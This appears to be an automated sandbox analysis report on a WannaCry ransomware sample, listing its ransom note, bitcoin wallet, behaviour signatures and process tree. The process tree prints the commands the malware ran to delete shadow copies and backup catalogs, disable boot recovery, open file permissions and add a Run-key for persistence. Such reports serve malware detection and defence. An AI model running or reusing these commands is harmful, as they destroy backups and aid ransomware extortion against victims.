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Analysis

  • max time kernel
    146s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    23/07/2020, 09:17

General

  • Target
    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
  • Size 3.4MB
  • Sample200723-dfpt54v9l6
  • SHA256 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
  • MD5 SHA1 SHA512

Malware Config

Extracted

Path
  • wannacry

Ransom Note
  • Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets
  • 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw

Signatures

  • Views/modifies file attributes 1 TTPs 1 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Modifies service 2 TTPs 4 IoCs
  • Executes dropped EXE 16 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies file permissions 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 78 IoCs
  • Loads dropped DLL 7 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Drops startup file 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • JavaScript code in executable 5 IoCs
  • Wannacry

    WannaCry is a ransomware cryptoworm.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
    "C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Sets desktop wallpaper using registry
    • Drops startup file
    PID:2920
    • C:\Windows\SysWOW64\attrib.exe
      attrib +h .
      2⤵
      • Views/modifies file attributes
      PID:3112
    • C:\Windows\SysWOW64\icacls.exe
      icacls . /grant Everyone:F /T /C /Q
      2⤵
      • Modifies file permissions
      PID:3584
    • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
      taskdl.exe
      2⤵
      • Executes dropped EXE
      PID:3520
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 163141595495887.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3164
      • C:\Windows\SysWOW64\cscript.exe
        cscript.exe //nologo m.vbs
        3⤵
          PID:3968
      • C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3032
        • C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
          TaskData\Tor\taskhsvc.exe
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          PID:644
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c start /b @[email protected] vs
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2092
        • C:\Users\Admin\AppData\Local\Temp\@[email protected]
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:980
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:964
            • C:\Windows\SysWOW64\vssadmin.exe
              vssadmin delete shadows /all /quiet
              5⤵
              • Interacts with shadow copies
              PID:1220
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              wmic shadowcopy delete
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1800
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1884
      • C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        • Sets desktop wallpaper using registry
        PID:2924
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2160
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pajxwiyyl178" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2368
        • C:\Windows\SysWOW64\reg.exe
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pajxwiyyl178" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
          3⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:2668
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:3748
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3344
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:2652
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2668
      • C:\Users\Admin\AppData\Local\Temp\taskse.exe
        taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Users\Admin\AppData\Local\Temp\taskdl.exe
        taskdl.exe
        2⤵
        • Executes dropped EXE
        PID:408
    • C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      1⤵
        PID:3212
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Modifies service
        • Suspicious use of AdjustPrivilegeToken
        PID:1492

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/644-367-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-70-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-71-0x0000000003F40000-0x0000000003F41000-memory.dmp

            memory/644-72-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-422-0x0000000003C50000-0x0000000003C51000-memory.dmp

            memory/644-400-0x0000000003C50000-0x0000000003C51000-memory.dmp

            memory/644-399-0x0000000004450000-0x0000000004451000-memory.dmp

            memory/644-398-0x0000000003C50000-0x0000000003C51000-memory.dmp

            memory/644-194-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-335-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-236-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/644-235-0x0000000003F40000-0x0000000003F41000-memory.dmp

            memory/644-234-0x0000000003740000-0x0000000003741000-memory.dmp

            memory/2920-4-0x0000000010000000-0x0000000010010000-memory.dmp